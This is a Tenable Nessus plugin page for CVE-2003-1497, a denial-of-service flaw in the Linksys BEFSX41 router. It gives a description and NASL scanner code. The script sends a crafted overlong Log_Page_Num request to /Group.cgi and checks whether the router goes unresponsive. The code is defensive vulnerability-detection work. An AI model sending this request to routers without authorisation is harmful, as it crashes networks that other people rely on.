Linksys BEFSX41 System Log Viewer Log_Page_Num Variable Overflow DoS

2003-10-16T00:00:00
ID LINKSYS_DOS.NASL
Type nessus
Reporter Tenable
Modified 2018-08-22T00:00:00

Description

The remote host seems to be a Linksys EtherFast Cable Firewall/Router.

This product is vulnerable to a remote denial of service attack : if logging is enabled, an attacker can specify a long URL which results in the router becoming unresponsive.

                                        
                                            #
# Linksys EtherFast Cable/DSL Firewall Router
# BEFSX41 (Firmware 1.44.3) DoS
#
# Changes by Tenable:
# - Revised plugin title, changed family (1/21/2009)

include("compat.inc");

if (description)
{
  script_id(11891);
  script_version("1.20");
  script_cvs_date("Date: 2018/08/22 16:49:13");

  script_cve_id("CVE-2003-1497");
  script_bugtraq_id(8834);

  script_name(english:"Linksys BEFSX41 System Log Viewer Log_Page_Num Variable Overflow DoS");
  script_summary(english:"URL results in DoS of Linksys router");

  script_set_attribute(attribute:"synopsis", value:"The remote host is vulnerable to a denial of service attack.");
  script_set_attribute(attribute:"description", value:
"The remote host seems to be a Linksys EtherFast Cable Firewall/Router.

This product is vulnerable to a remote denial of service attack : if
logging is enabled, an attacker can specify a long URL which results
in the router becoming unresponsive.");
  # http://web.archive.org/web/20031110012408/http://www.digitalpranksters.com/advisories/linksys/LinksysBEFSX41DoSa.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b9f768be");
  script_set_attribute(attribute:"solution", value:"Update firmware to version 1.45.3.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:N/I:N/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_cwe_id(119);

  script_set_attribute(attribute:"plugin_publication_date", value:"2003/10/16");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/h:linksys:linksys:befsx41:1.43.3");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_copyright(english:"This script is Copyright (C) 2003-2018 Matt North");

  script_family(english:"CISCO");

  script_dependencie("find_service1.nasl", "http_version.nasl");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);


port = get_http_port(default:80);

if(http_is_dead(port:port))exit(0);

banner = get_http_banner(port:port);
if(!banner)exit(0);
if("linksys" >!< banner)exit(0);

soc = open_sock_tcp(port);
if(!soc) exit(0);


req = http_get(port: port, item: "/Group.cgi?Log_Page_Num=1111111111&LogClear=0");
send(socket: soc , data: req);
close(soc);
alive = open_sock_tcp(port);
if (!alive) security_warning(port);